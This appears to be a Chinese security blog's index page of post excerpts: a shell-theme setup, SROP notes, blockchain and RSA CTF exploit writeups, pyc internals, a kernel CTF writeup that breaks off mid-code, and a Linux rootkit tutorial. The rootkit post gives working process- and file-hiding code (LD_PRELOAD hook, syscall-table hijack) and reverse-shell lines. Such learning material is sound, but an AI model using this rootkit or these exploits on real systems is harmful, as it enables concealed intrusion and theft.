【一秒變時尚】zimfw + powerlevel10k + nord

Zimfw

我也是用了很久的 oh-my-zsh,一直都覺得 terminal 有點慢,不過直到看到這篇 打造屬於你自己的極速 Shell「iTerm + zsh + zim + powerlevel10k」,才有想要換的念頭

zimfw 的優點就是快,雖然他不像 oh-my-zsh 一樣有這麼多內建的插件,但一般的 zsh 插件他也都可以安裝,而且最常用也一定要有的 zsh-syntax-highlight, zsh-completions, zsh-autosuggestions 預設都幫你配置好了,其他插件的安裝請看下面的說明

插件安裝

官方提供的插件在這,archive 預設沒裝,我推薦可以安裝,他跟 oh-my-zshextract 插件是同樣的功能,會自動幫你根據副檔名解壓縮,就不需要再去背那些指令

非官方的插件的話,我們以 alias-tips 這個插件做例子,只要在 .zimrc 加入下面一行

.zimrc
1
zmodule djui/alias-tips

然後打 zimfw install,他就會去幫你 git clone 那個 repo 下來,接著在載入插件的時候會去找 {init.zsh|module_name.{zsh|plugin.zsh|zsh-theme|sh}} 這個格式的檔名,只要找得到這樣的檔案的 github repo 基本上都可以安裝

Powerlevel10k

powerlevel10k 看名字就知道是用來幹掉 powerlevel9k 的,記得當初看到 powerlevel9k 的時候兩眼發光,此生沒看過這麼漂亮的主題,直到現在看到 powerlevel10k powerlevel9k,那 powerlevel10k 究竟是猛在哪,就我來看,我覺得 powerlevel10k 最大的優點在於他優秀的客製化系統,請看下圖

可以讓你一步步設定每個細節,而且不用自己手動去改設定,只要跑 p10k configure 這個指令就好,對懶人十分的友善阿,而且 powerlevel10k 直接推薦我們安裝 MesloLGS NF 字型,裝好就完事了,不需要像 powerlevel9k 還要自己調字型和大小,另一個優點就是速度了,官方說是比 powerlevel9k 快上不少,但是因為我同時也換了 zimfw 所以不知道是不是真的有變快

Nord

顏色的配置我使用 Nord 這款,有冰天雪地高冷的感覺,我把他套用到 kitty, vim, tmux 上,讓整個環境有一致的色調,十分舒服,請看下圖,安裝的部分可以到 官方的 github 裡面去找,各大常見的編輯器幾乎都有支援

Read more

【攻擊手法】SROP

SROP 是 Sigreturn Oriented Programming 的縮寫

Signal

一支程式接到 signal 後

  1. kernel 會幫你把上下文 ( 各種暫存器 ) 保留到 stack 上,叫做 Signal Frame
  2. 跳回 user mode,讓 signal handler 處理
  3. signal handler 處理完會 return 回 __restore_rt,這個 function 裡面就是 mov rax, 0xf; syscall,去呼叫 sys_rt_sigreturn syscall,把上下文恢復 Signal Frame

SigReturn ROP

在做 ROP 的時候需要設定許多暫存器的值
這時候就可以用 SROP 的技巧
自己在 stack 上擺好 Signal Frame,然後呼叫 sys_rt_sigreturn syscall
就可以一次設定好所有的暫存器
缺點是需要夠大的空間塞下整個 Signal Frame

sys_rt_sigreturn syscall gadget

哪裡有 mov rax, 0xf; syscall 的 gadget 可以用

  1. libc 裡面的 __restore_rt
  2. 自己用 ROP 設定好 rax, 再接 syscall gadget

pwntools SigFrame

1
2
3
4
5
6
7
8
9
frame = SigreturnFrame()
frame.rsp = 0
frame.rax = 0
frame.rdi = 0
frame.rsi = 0
frame.rdx = 0
frame.rip = 0

rop = bytes(frame)

CTF 題目

pwnable.kr - unexploitable


  1. https://www.slideshare.net/AngelBoy1/sigreturn-ori
  2. http://weaponx.site/2017/02/28/unexploitable-Writeup-pwnable-kr/
Read more

【CTF Writeups】Security Innovation Blockchain CTF

這邊是紀錄我寫 Security Innovation Blockchain CTF 的 Writeups

Donation

這題是簽到題
就只是讓我們呼叫合約裡面的這個函式 withdrawDonationsFromTheSuckersWhoFellForIt

Lock Box

這題有個 privatepin 變數,但是 private 只是代表那個變數沒有 getter 函式,把合約的狀態抓下來就看光光啦
使用 web3.eth.getStorageAt 這個函式
父合約的變數會在子合約的變數的前面
所以 position 0 的位址是 authorizedToPlay,而 position 1 的位址就是 pin
變數在 storage 裡面怎麼擺的可以參考這篇 Understanding Ethereum Smart Contract Storage

Piggy Bank

這題直接呼叫 collectFunds 就好了
只有 PiggyBankcollectFundsonlyOwnerCharliesPiggyBankcollectFunds 沒有 onlyOwner

SI Token Sale

這題的 purchaseTokens 沒有用 SafeMath,也沒有檢查 _value 要大於 feeAmount
先轉個 0.000001 給合約,這樣 0.000001 - 0.00001 就會 underflow 變成很大的數字,就得到了超多的 token
然後再用 refundTokens 就可以半價把 token 換成 ether 錢錢了

Secure Bank

SecureBankwithdrawMembersBankwithdraw 其中的 _value 參數形態不一樣
他們會被看成是不一樣的函式,所以會有兩個不一樣的型態 withdraw 可以呼叫
MembersBankwithdraw 沒有檢查是不是本人,所以就直接把 contract creator 的錢領走

Lottery

這題要猜 entropy^entropy2 的值,猜到就可以拿走裡面的錢錢

entropy = blockhash(block.number),但是我們沒辦法知道這個 block 的 blockhash,因為這個 block 還沒算完
但這樣寫不會有錯誤,只是出來的值會是 0
既然 entropy = 0 那就只剩 entropy2,而 entropy2 是根據 msg.sender 來的
所以我們可以直接算出 _seed 的值
可以直接用 remix 寫個簡單的 smart contract 幫我們算那個值,然後利用 event 來印出那個值 ( 當 print 用 )

1
2
3
4
5
6
7
8
9
pragma solidity ^0.5.9;

contract test {
event Log(bytes32 value);

function go () public {
emit Log(keccak256(abi.encodePacked(msg.sender)));
}
}

或是直接寫一個攻擊合約,去呼叫 play 函式
記得要先把這個合約加到 authorizedToPlay,如果是 gas 不夠就調高 gas limit 吧

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
pragma solidity ^0.5.9;

import "./challenge.sol";

contract hack {
function exploit(address payable _target) public payable {
Lottery target = Lottery(_target);

bytes32 entropy2 = keccak256(abi.encodePacked(this));
uint256 seeds = uint256(entropy2);

target.play.value(msg.value)(seeds);

msg.sender.transfer(address(this).balance);
}
}

Trust Fund

這題是經典的 reentrant attack

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
pragma solidity ^0.5.9;

contract TrustFund {
function withdraw() external {}
}

contract hack {
address target = 0xd297ab1c9653295BdE4f6b2e32574Ac5DD994997;
uint count = 10;

function () external payable {
if (count > 0) {
count--;
TrustFund trust = TrustFund(target);
trust.withdraw();
}
}

function exploit () public {
TrustFund trust = TrustFund(target);
trust.withdraw();
}

function withdraw () public {
msg.sender.transfer(address(this).balance);
}
}

Heads or Tails

這題跟 Lottery 很像,不過用的是上一個 block 的 blockhash
那就寫個攻擊合約去呼叫 play,就可以算出一樣的 entropy
0.1 ether 能賺 0.05 ether,所以玩個 20 次就把錢全部撈出來啦
記得要寫 fallback 函式才能接錢進來呀 ( 我這裡卡超久der )

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
pragma solidity ^0.5.9;

contract HeadsOrTails {
function play(bool _heads) external payable {}
}

contract hack {
address target = 0xf8583ccB9900615e0b8304A16539EBFD96c2B0af;

function () external payable {}

function exploit () public payable {
bytes32 entropy = blockhash(block.number - 1);
bool coinFlip = (entropy[0] & '\x01') == '\x01';

HeadsOrTails heads = HeadsOrTails(target);

for (uint i = 0; i < 20; i++) {
heads.play.value(0.1 ether)(coinFlip);
}

msg.sender.transfer(address(this).balance);
}
}

Record Label

這題的題目很長,主要的邏輯就是你領錢的時候會被 royalties 抽成,manager 會抽成 80 趴的錢錢
所以如果直接呼叫 withdrawFundsAndPayRoyalties 就可以拿到 0.2 etherroyalties 抽走 0.8 ether,這題就解掉了 ( 題目合約 balance = 0 )
不過正確的解法 ( 我全都要 ) 應該是找出 _manager 的地址,然後呼叫 addRoyaltyReceiverreceiverToPercentOfProfit 這個 mapping 中 _manager 的 percent 覆寫成 0
這樣去領錢就不會被抽成了

Slot Machine

這題的題目很短,就一個 fallback 函式
但是第一行限制一次只能匯款 1 szabo ( 0.000001 ether )
目標是要讓這個合約的 balance 大於等於 5 ether,他就會把所有錢錢都給你
其中一個不透過 fallback 給錢的方法就是用 selfdestruct
selfdestruct 就是把合約清除掉,在被清除掉之前,這個合約可以把他的錢錢匯款給一個帳戶,而這個匯款的動作不會經過 fallback 函式
寫一個攻擊合約,並給他 5 ether,讓他自我毀滅,並在毀滅之前把 5 ether 匯款給題目合約

1
2
3
4
5
6
7
pragma solidity ^0.5.9;

contract hack {
function exploit () public payable {
selfdestruct(address(0x22f616f6b95e23efa8FBBAE44BeeC05890E12A4E));
}
}

  1. https://f3real.github.io/tag/ethereum.html
  2. https://xz.aliyun.com/t/2759
Read more

【技術筆記】Linux Rootkit 隱藏程序技巧

簡報版本 : https://www.slideshare.net/ssuserd44fa2/rootkit-101-228943978


root + kit 的意思就是拿到 root 權限後可以用的工具包,大多是隱藏程序的技巧,所以 rootkit 也可以理解成隱藏程序技術的通稱,不過也有些不需要 root 的隱藏程序技術,今天會逐一介紹 linux 上 rootkit 的原理與實作

隱之呼吸壹之型 - PATH Hijack

條件

不需要 root

目標

ps 的結果中隱藏下面兩種簡單的後門

  1. bash -i >& /dev/tcp/192.168.100.100/9999 0>&1
  2. socat TCP:192.168.100.100:9999 EXEC:/bin/bash

手法

假設在 $PATH 環境變數中 /usr/local/bin/bin 前面,所以我們可以寫一個檔案在 /usr/local/bin/ps,這樣 ps 就會執行 /usr/local/bin/ps 而不是 /bin/ps,而達到 hook 程序的效果

1
2
#!/bin/bash
/bin/ps $@ | grep -Ev '192.168.100.100|socat'
  • grep -Ev 是 inverse match
  • $@ 是傳進來的參數 ( 這裡原封不動的交給 /bin/ps )

隱之呼吸貳之型 - LD_PRELOAD

條件

不需要 root

目標

ps 的結果中隱藏下面兩種簡單的後門

  1. bash -i >& /dev/tcp/192.168.100.100/9999 0>&1
  2. socat TCP:192.168.100.100:9999 EXEC:/bin/bash

要 hook 哪個函式

首先我們可以用 ltraceps 跑起來呼叫了哪些 library 的函式

1
2
3
4
5
6
7
...
fwrite(" [jfsCommit]\nhe]\n4\n0\n\nstart\ngrou"..., 13, 1, 0x7fbfcd303760) = 1
readproc(0x55e061b12f90, 0x55e0609d1540, 13, 1024) = 0x55e0609d1540
escape_str(0x7fbfcd90b090, 0x55e0609d1740, 0x20000, 0x7fff6f748044) = 4
strlen("root") = 4
fwrite("root", 4, 1, 0x7fbfcd303760) = 1
...

會發現 readproc 一直出現,查看一下 man page

1
2
3
4
5
6
7
8
NAME
readproc, freeproc - read information from next /proc/## entry

SYNOPSIS
#include <proc/readproc.h>

proc_t* readproc(PROCTAB *PT, proc_t *return_buf);
void freeproc(proc_t *p);

那我們就在 ps 的原始碼中找一下 readproc 的用法,如下

procps-3.2.8/ps/display.c >331
1
2
3
4
5
6
7
8
9
ptp = openproc(needs_for_format | needs_for_sort | needs_for_select | needs_for_threads);
if(!ptp) {
fprintf(stderr, "Error: can not access /proc.\n");
exit(1);
}
memset(&buf, '#', sizeof(proc_t));
switch(thread_flags & (TF_show_proc|TF_loose_tasks|TF_show_task)){
case TF_show_proc: // normal non-thread output
while(readproc(ptp,&buf)){}}
如何取得 ps 原始碼

ps 這個指令是來自 procps,可以從 procps.sourceforge.net 下載
另外其他基本的 shell 指令的原始碼則可以從 www.gnu.org/software/coreutils 下載

  • 基本上就是先 openproc 然後再用 readproc 一次讀一個 process entry
  • ptp 的型態是 PROCTAB*,裡面有 linked list 的結構,讓程式能找到下一個 process
  • buf 的型態是 proc_t*,包含了 process 的資訊
  • 那我們就去 hook readproc 這個函式,把想隱藏的 procss 跳過

dlsym

1
typeof(readproc) *old_readproc = dlsym(RTLD_NEXT, "readproc");
  • 這行是 LD_PRELOAD 技巧的關鍵,我們用 dlsym 這個函式來找 symbol 的位址
  • RTLD_NEXT 這個參數會找下一個 symbol 而不是第一個
  • typeof(readproc) 只是一個語法糖,代表 readproc 這個 function pointer 的型態

POC 原始碼

hook.c
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
#define _GNU_SOURCE
#include <dlfcn.h>
#include <string.h>
#include <proc/readproc.h>

int hidden (char *target) {
char *keywords[2] = { "192.168.100.100", "socat" };
for (int i = 0; i < 2; i++) if (strstr(target, keywords[i])) return 1;
return 0;
}

proc_t* readproc (PROCTAB *PT, proc_t *return_buf) {
typeof(readproc) *old_readproc = dlsym(RTLD_NEXT, "readproc");
proc_t* ret_value = old_readproc(PT, return_buf);
while (ret_value
&& ret_value->cmdline
&& hidden(ret_value->cmdline[0])) {
ret_value = old_readproc(PT, return_buf);
}
return ret_value;
}

編譯

1
gcc -fPIC -shared -o hook.so hook.c

執行

  • 指定 LD_PRELOAD 環境變數來載入編譯好的動態連結庫,但只有該次生效
1
LD_PRELOAD=/path/to/hook.so ps aux
  • 或是編輯 ld.so.preload,寫入 hook.so 的路徑,之後每次執行都會載入,可以用 ldd 查看是否成功 preload

DEMO

隱之呼吸參之型 - Loadable Kernel Module

條件

需要 root

目標

ls 的結果中隱藏 rootkit.ko

取得 sys_call_table

首先因為我們要 hijack system call 所以要先取得 sys_call_table 的位址

方法一

  • 在 2.4 以前的內核版本,預設導出所有符號,所以可以直接用
  • 如果自己編譯內核的話,可以修改原始碼用 EXPORT_SYMBOLsys_call_table 的符號導出來
1
extern void *sys_call_table[];

方法二

kallsyms_lookup_name 這個函式也可以抓位址,但他也不一定會被導出

1
2
3
4
5
6
7
8
9
#include <linux/kallsyms.h>

static void **sys_call_table;

static int __init hook_init (void) {
sys_call_table = (void **)kallsyms_lookup_name("sys_call_table");
printk(KERN_INFO "sys_call_table = 0x%px\n", sys_call_table);
return 0;
}
How to printk a pointer ?

要用 printk 印出 pointer 可以用 %px
%p 只會印出該指標的雜湊值而不是真正的指標的值,這是為了避免洩漏內核位址

方法三

  • 下面兩個檔案路徑有可能會有 sys_call_table 的位址
  • /proc/kallsyms 是一個特殊的檔案,會在讀取時動態產生
1
2
cat /boot/System.map-$(uname -r) | grep "sys_call_table"
cat /proc/kallsyms | grep "sys_call_table"

方法四

  • 最穩的方式是自己去 kernel 裡面撈 memory
  • 想法源自於這篇,但 kernel 5.x.x 有多包了一層 do_syscall_64,需要做一些改動
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
uint8_t *get_syscalltable (void) {
int lo, hi;
asm volatile("rdmsr" : "=a" (lo), "=d" (hi) : "c" (MSR_LSTAR));
uint8_t *entry_SYSCALL_64 = (uint8_t *)(((uint64_t)hi << 32) | lo);

uint8_t *ptr;

uint8_t do_syscall_64_inst[7] = {
0x48, 0x89, 0xc7, // mov rdi, rax
0x48, 0x89, 0xe6, // mov rsi, rsp
0xe8, // call do_syscall_64
};
ptr = find(entry_SYSCALL_64, do_syscall_64_inst, 7);
uint8_t *do_syscall_64 = (uint8_t *)(ptr + 11 + ((uint64_t)0xffffffff00000000 | *(uint32_t *)(ptr + 7)));

uint8_t sys_call_table_inst[4] = {
0x48, 0x8b, 0x04, 0xfd // mov rax, QWORD PTR [rdi*8-?]
};
ptr = find(do_syscall_64, sys_call_table_inst, 4);
uint8_t *sys_call_table = (uint8_t *)((uint64_t)0xffffffff00000000 | *(uint32_t *)(ptr + 4));

return sys_call_table;
}

要理解上面的程式碼在做什麼,我們需要知道下面兩件事

Module Specific Register 是什麼 ?
  • module specific register 是一塊跟 CPU 有關的暫存器
  • 每個 msr 都會有個 index,可以想像成一個很大的陣列
  • rdmsr, wrmsr 這組 instructions 可以對 msr 做讀寫,必須提供 index
  • kernel 一開始在初始化的時候,把 entry_SYSCALL_64 寫到 msr[MSR_LSTAR]
syscall 執行下去實際上是發生什麼事 ?
  1. 使用者呼叫 syscall
  2. 切換到 ring 0
  3. 跳去 msr[MSR_LSTAR] 這個位址也就是 entry_SYSCALL_64 這裡
  4. 呼叫 do_syscall_64
  5. regs->ax = sys_call_table[nr](regs); 這行呼叫對應的函式

解讀上面的程式碼的步驟

  1. 我們已經在 ring 0 了
  2. 直接用 rdmsrmsr[MSR_LSTAR]
  3. 直接在 entry_SYSCALL_64 的 instructions 裡面找下面這個 pattern
1
2
3
movq %rax, %rdi,
movq %rsp, %rsi
call do_syscall_64
  1. 這樣就找到 do_syscall_64
  2. 進到 do_syscall_64 後,一樣畫葫蘆,再找下面這個 pattern
1
mov rax, QWORD PTR [rdi*8-?]
  1. 最後,這個問號的值就會是 sys_call_table 的位址

sys_call_table 可以寫入

  • cr0 register 的其中一個 bit 是代表 read-only 區段可不可寫,改成 0 就通通可寫啦
  • write_cr0 這個 function 在 kernel 5.x.x 版加了檢查,不過我們直接寫 assembly 就沒問題啦
1
2
3
4
5
6
7
8
9
void writable_unlock (void) {
unsigned long val = read_cr0() & (~X86_CR0_WP);
asm volatile("mov %0,%%cr0": "+r" (val));
}

void writable_lock (void) {
unsigned long val = read_cr0() | X86_CR0_WP;
asm volatile("mov %0,%%cr0": "+r" (val));
}

要 hook 哪個 syscall

  • ps 做的事情就是去讀 /proc 底下所有檔案,基本上是 ls 的強化版,那我們這次就先做 ls 隱藏檔案
  • 一樣用 strace ls 去看他呼叫了哪些 syscall
1
2
3
4
5
6
getdents(3, /* 16 entries */, 32768)    = 512
getdents(3, /* 0 entries */, 32768) = 0
close(3)
fstat(1, {st_mode=S_IFCHR|0620, st_rdev=makedev(136, 1), ...}) = 0
write(1, "a\thook.c\t initramfs\t linux-5."..., 75) = 75
write(1, "attach\thook.so initramfs.cpio.g"..., 90) = 90

getdents 看起來是關鍵的 syscall,查看一下 man page

1
2
3
4
5
6
7
8
9
10
NAME
getdents, getdents64 - get directory entries

SYNOPSIS
int getdents(unsigned int fd, struct linux_dirent *dirp,
unsigned int count);
int getdents64(unsigned int fd, struct linux_dirent64 *dirp,
unsigned int count);

Note: There are no glibc wrappers for these system calls; see NOTES.
  • getdents 跑完後會把結果存到 dirp 裡面,那我們就遍歷 dirp 把要隱藏的丟掉就好了
  • kernel 4.x.x 的參數是放在 stack 傳的,但 kernel 5.x.x 多包了一層 do_syscall_64,參數傳遞變成是透過 struct pt_regs *regs 這個結構去傳
rootkit.c
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
#include <linux/init.h>
#include <linux/module.h>
#include <linux/kallsyms.h>
#include <linux/syscalls.h>

MODULE_LICENSE("GPL");

struct linux_dirent {
unsigned long d_ino; /* Inode number */
unsigned long d_off; /* Offset to next linux_dirent */
unsigned short d_reclen; /* Length of this linux_dirent */
char d_name[]; /* Filename (null-terminated) */
};

void **sys_call_table;

int (*original_getdents) (struct pt_regs *regs);

void writable_unlock (void) {
unsigned long val = read_cr0() & (~X86_CR0_WP);
asm volatile("mov %0,%%cr0": "+r" (val));
}

void writable_lock (void) {
unsigned long val = read_cr0() | X86_CR0_WP;
asm volatile("mov %0,%%cr0": "+r" (val));
}

uint8_t *find (uint8_t *a, uint8_t *b, size_t len) {
for (uint8_t *ptr = a, i = 0; i < 500; i++, ptr++) {
if (!strncmp(ptr, b, len)) {
return ptr;
}
}
return 0;
}

uint8_t *get_syscalltable (void) {
int lo, hi;
asm volatile("rdmsr" : "=a" (lo), "=d" (hi) : "c" (MSR_LSTAR));
uint8_t *entry_SYSCALL_64 = (uint8_t *)(((uint64_t)hi << 32) | lo);

uint8_t *ptr;

uint8_t do_syscall_64_inst[7] = {
0x48, 0x89, 0xc7, // mov rdi, rax
0x48, 0x89, 0xe6, // mov rsi, rsp
0xe8, // call do_syscall_64
};
ptr = find(entry_SYSCALL_64, do_syscall_64_inst, 7);
uint8_t *do_syscall_64 = (uint8_t *)(ptr + 11 + ((uint64_t)0xffffffff00000000 | *(uint32_t *)(ptr + 7)));

uint8_t sys_call_table_inst[4] = {
0x48, 0x8b, 0x04, 0xfd // mov rax, QWORD PTR [rdi*8-?]
};
ptr = find(do_syscall_64, sys_call_table_inst, 4);
uint8_t *sys_call_table = (uint8_t *)((uint64_t)0xffffffff00000000 | *(uint32_t *)(ptr + 4));

return sys_call_table;
}

#define FILENAME "rootkit.ko"

int sys_getdents_hook(struct pt_regs *regs) {
int total = original_getdents(regs);
unsigned int fd = regs->di;
struct linux_dirent *dirent = regs->si;
unsigned int count = regs->dx;
int offset = 0;
while (offset < total) {
struct linux_dirent *ptr = (struct linux_dirent *)((uint8_t *)dirent + offset);
struct linux_dirent *next_ptr = (struct linux_dirent *)((uint8_t *)dirent + offset + ptr->d_reclen);
if (strncmp(ptr->d_name, FILENAME, strlen(FILENAME)) == 0) {
int reclen = ptr->d_reclen;
memmove(ptr, next_ptr, total - (offset + reclen));
total -= reclen;
} else {
offset += ptr->d_reclen;
}
}
return total;
}

static int rootkit_init(void) {
sys_call_table = (void **)get_syscalltable();
printk(KERN_INFO "sys_call_table = %llu\n", sys_call_table);
writable_unlock();
original_getdents = sys_call_table[__NR_getdents];
sys_call_table[__NR_getdents] = sys_getdents_hook;
return 0;
}

static void rootkit_exit(void) {
sys_call_table[__NR_getdents] = original_getdents;
writable_lock();
}

module_init(rootkit_init);
module_exit(rootkit_exit);

DEMO


1: http://fluxius.handgrep.se/2011/10/31/the-magic-of-ld_preload-for-userland-rootkits/
2: https://exploit.ph/linux-kernel-hacking/2014/10/23/rootkit-for-hiding-files/
3: https://docs-conquer-the-universe.readthedocs.io/zh_CN/latest/gnu_linux.html
4: https://www.kernel.org/doc/Documentation/printk-formats.txt
5: https://blog.trailofbits.com/2019/01/17/how-to-write-a-rootkit-without-really-trying/

Read more

【程式語言】pyc 與他們的產地

pyc 格式

python2

python2 的 magic number 和時間戳記都是 4 bytes

編譯 pyc

import

import 其他的 python 程式的時候,會把被引入的程式編譯成 .pyc 放到 __pycache__ 資料夾
這樣可以減少引入的時間

py_compile

1
2
import py_compile
py_compile.compile('test.py')

就會生成 .pyc 檔在 __pycache__ 資料夾

compileall

1
python -m compileall .

可以一次 compile 資料夾內所有檔案

反編譯 pyc

要 decompile pyc 可以使用 uncompyle6decompyle3pycdc

但是注意到 uncompyle6 對 3.6 版以上的支援沒有很好,可以看 這個 issue,作者沒錢拿也累了,而且新版本又多了新東西,cfg 更難分析,所以 fork 出去了 decompyle3 試圖重新整理並解決問題。

1
uncompyle6 test.pyc
1
2
3
4
5
6
7
8
9
10
11
# uncompyle6 version 3.3.2
# Python bytecode 3.7 (3394)
# Decompiled from: Python 3.7.0 (default, Oct 9 2018, 16:58:41)
# [GCC 5.4.0 20160609]
# Embedded file name: /home/oalieno/lib.py
# Size of source mod 2**32: 23 bytes


def f(x):
return x
# okay decompiling lib.cpython-37.pyc

marshal & dis

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
import marshal
import dis

# PyCodeObject
code = marshal.loads(open('test.pyc', 'rb').read()[16:])
code = compile('x = 1', 'filename', 'exec')

# bytecode
code.co_code

# disassemble PyCodeObject (with line number and some meta data)
dis.dis(code)

# disassemble bytecode (directly)
dis.dis(code.co_code)

用眼睛看 marshal dumps data

可以參考 marshal.c,格式都是一個 byte 的 type 加上後面一段 data,主要的程式碼在這裡 marshal.c line 953,這裡的 r_object 嘗試去讀一個 object 進來,裡面就用 switch case 去處理不同的 type。
比如 TYPE_INT 就是用 r_long 去讀 4 個 bytes 的 long 進來,所以 marshal.dumps(1) 就會長得像 b'\xe9\x01\x00\x00\x00',前面的 type 有時候會被 | 0x80,請看 marshal.c line 223,所以 0xe9 & (0x80 - 1) = ord('i')
另一個像是 TYPE_CODE 就先 r_long 了六次,讀了 argcount, posonlyargcount, kwonlyargcount, ... 進來,接下來才用 r_object 把 code 讀進來 ( 也就是 bytecode ),讀進來的 object 其實是 bytes 型態,也就是 bytecode 是用 bytes 型態存在 code object 裡面的,接下來再繼續把一些 consts, names, varnames, ... 讀進來。


  1. https://docs.python.org/3/library/dis.html
  2. http://unpyc.sourceforge.net/Opcodes.html
  3. https://kdr2.com/tech/main/1012-pyc-format.html
  4. https://late.am/post/2012/03/26/exploring-python-code-objects.html
Read more

【CTF Writeups】TSG CTF 2019 - OPQRX

Can you decrypt RSA? I’ll give a hint value, XOR.
ここにRSAの暗号文がありますが、XORをあげるので、代わりに平文をください。

分數 解題人數
497 10

Writeups

題目很簡單,RSA 加密,多給了 $p \oplus q$ 的值

$$
\begin{align}
&p \oplus q = x \\
&p \times q = n \\
\end{align}
$$

已知 $x, n$ 求 $p, q$

假設 $x$ 的第一個 bit 是 0,那麼 $p, q$ 的第一個 bit 只有 $(0, 0)$ 或 $(1, 1)$ 兩種可能
假設 $x$ 的第一個 bit 是 1,那麼 $p, q$ 的第一個 bit 只有 $(0, 1)$ 或 $(1, 0)$ 兩種可能

所以就直接爆搜加剪枝就過了,驚不驚喜,意不意外

Final Exploit

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
#!/usr/bin/env python3
from Crypto.Util.number import *
from tqdm import tqdm

class Solver:
def __init__(self, x, n):
self.x = x
self.n = n
self.pq = [(0, 0)]

def add(self, b, p, q):
if p * q <= n and (p | (b - 1)) * (q | (b - 1)) >= n:
self.pq.append((p, q))

def solve(self):
for shift in tqdm(range(4095, -1, -1)):
b = 1 << shift
pq, self.pq = self.pq, []
for p, q in pq:
if self.x & b:
self.add(b, p | b, q)
self.add(b, p, q | b)
else:
self.add(b, p, q)
self.add(b, p | b, q | b)
return self.pq[0]

exec(open('flag.enc').read().lower())
solver = Solver(x, n)
p, q = solver.solve()
r = (p - 1) * (q - 1)
d = inverse(e, r)
m = pow(c, d, n)
print(long_to_bytes(m))

Flag

1
TSGCTF{Absolutely, X should be 'S' in 'OPQRX'.}

  1. https://furutsuki.hatenablog.com/entry/2019/05/05/163313#Crypto-497pts-10-Solves-OPQRX
Read more

【CTF Writeups】Teaser Confidence CTF Quals 2019 - p4fmt

Kernel challs are always a bit painful. No internet access, no SSH, no file copying. You’re stuck with copy pasting base64’d (sometimes static) ELFs. But what if there was another solution? We’ve created a lightweight, simple binary format for your pwning pleasure. It’s time to prove your skills.
nc p4fmt.zajebistyc.tf 30002

分數 解題人數
304 10

Writeup

題目檔案解壓縮後有三個檔案 bzImage, initramfs.cpio.gz, run.sh

bzImage 是壓縮過的 linux kernel
initramfs.cpio.gz 是臨時的檔案系統
run.sh 裡面用 qemu-system-x86_64 把 kernel 跑起來

不熟悉 linux kernel debug 可以參考 Debug Kernel

First Glance

run.sh 跑起來後就會跑 linux kernel 彈出一個 shell
ls 一下可以看到三個比較重要的檔案 init, p4fmt.ko, flag
直接嘗試 cat flag 會得到 Permission denied
因為我們拿到的使用者是 pwnflag 只有 root 有權限讀
init 裡面有一行 insmod /p4fmt.ko 加載 p4fmt.ko 這個內核模塊
看來我們的目標就是利用 p4fmt.ko 裡面的漏洞提權拿 root 權限,就可以 cat flag

前置作業

解壓 initramfs.cpio.gz

可以先用 binwalkinitramfs.cpio.gz 的檔案系統拉出來

1
2
x initramfs.cpio.gz
binwalk -e initramfs.cpio

修改 init

1
setsid cttyhack su root

修改 init 讓我們有 root 權限,這樣才看得到 p4fmt.ko 內核模塊載入後的位址,等等才方便下斷點
修改完重新打包 initramfs.cpio.gz

1
find . -print0 | cpio --null --create --format=newc | gzip --best > ../initramfs.cpio.gz

修改 run.sh

1
-gdb tcp:127.0.0.1:6666

開了 gdb server 後,就可以用 gdb 連上去 debug 了
首先先取得 p4fmt 內核模塊的位址
可以用 lsmodcat /proc/modules ( 必須有 root 權限 )

gdb
1
2
3
(gdb) target remote :6666
(gdb) add-symbol-file p4fmt.ko 0xffffffffc0288000
(gdb) b load_p4_binary # 這是 p4fmt 主要的函式等等逆向會看到
"取得 p4fmt 位址"
1
2
3
4
/ # lsmod
p4fmt 16384 0 - Live 0xffffffffc0288000 (O)
/ # cat /proc/modules
p4fmt 16384 0 - Live 0xffffffffc0288000 (O)

逆向

起手式一樣 IDA 打開 ( 好像很多人改用 ghidra 了 O_O )
但是這次的反編譯有點糟,大部分還是看組語配 gdb
這個內核模塊主要的功能就是註冊一個新的執行檔格式 ( binary format )

1
2
3
4
5
6
7
int __init p4fmt_init (void) {
_register_binfmt(&p4format, 1);
}

void __exit p4fmt_init (void) {
unregister_binfmt(&p4format);
}

p4format 是一個 linux_binfmt 的結構

1
2
3
4
5
6
7
8
struct linux_binfmt {
struct list_head lh;
struct module *module;
int (*load_binary)(struct linux_binprm *);
int (*load_shlib)(struct file *);
int (*core_dump)(struct coredump_params *cprm);
unsigned long min_coredump; /* minimal dump size */
} __randomize_layout;

其中的 load_binary 這個指標就是指向負責建立環境把程式跑起來的函式
而在這裡就是指向 load_p4_binary 這個函式 ( 一般的 ELF 執行檔是 load_elf_binary )

1
2
3
int load_p4_binary (linux_binprm *bprm) {
...
}

linux_binprm 會先讀檔案的前 128 bytes 放進 bprm->buf
因為有這個結構有 __randomize_layout,所以結構成員的順序是隨機的
這題的 bprm->buf0x48 開始 128 bytes,可見下圖

程式一開始會先檢查前兩個 bytes 是不是 P4
接著檢查第三個 byte 是不是 \x00,不是的話會噴 Unknown version
接著第四個 byte 可以是 \x00\x01\x00 的話會進簡單的路線,\x01 會進複雜的路線
接著四個 bytes 代表後面有幾個 mapping
接著八個 bytes 代表 mapping 的開頭在 buf 的 offset
接著八個 bytes 擺的是 entry point 的位址
其他的部分基本上跟 load_elf_binary 一樣

simple
1
vm_mmap(bprm->file, *(QWORD *)(bprm + 0x50), 0x1000, *(QWORD *)(bprm + 0x50) & 7, 2, 0);
complex
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
struct p4_mapping {
long load_addr;
long length;
long offset;
};

int mapping_count = *(int *)(bprm->buf + 4);
long mapping_offset = *(long *)(bprm->buf + 8);

p4_mapping *mapping = bprm->buf + mapping_offset;

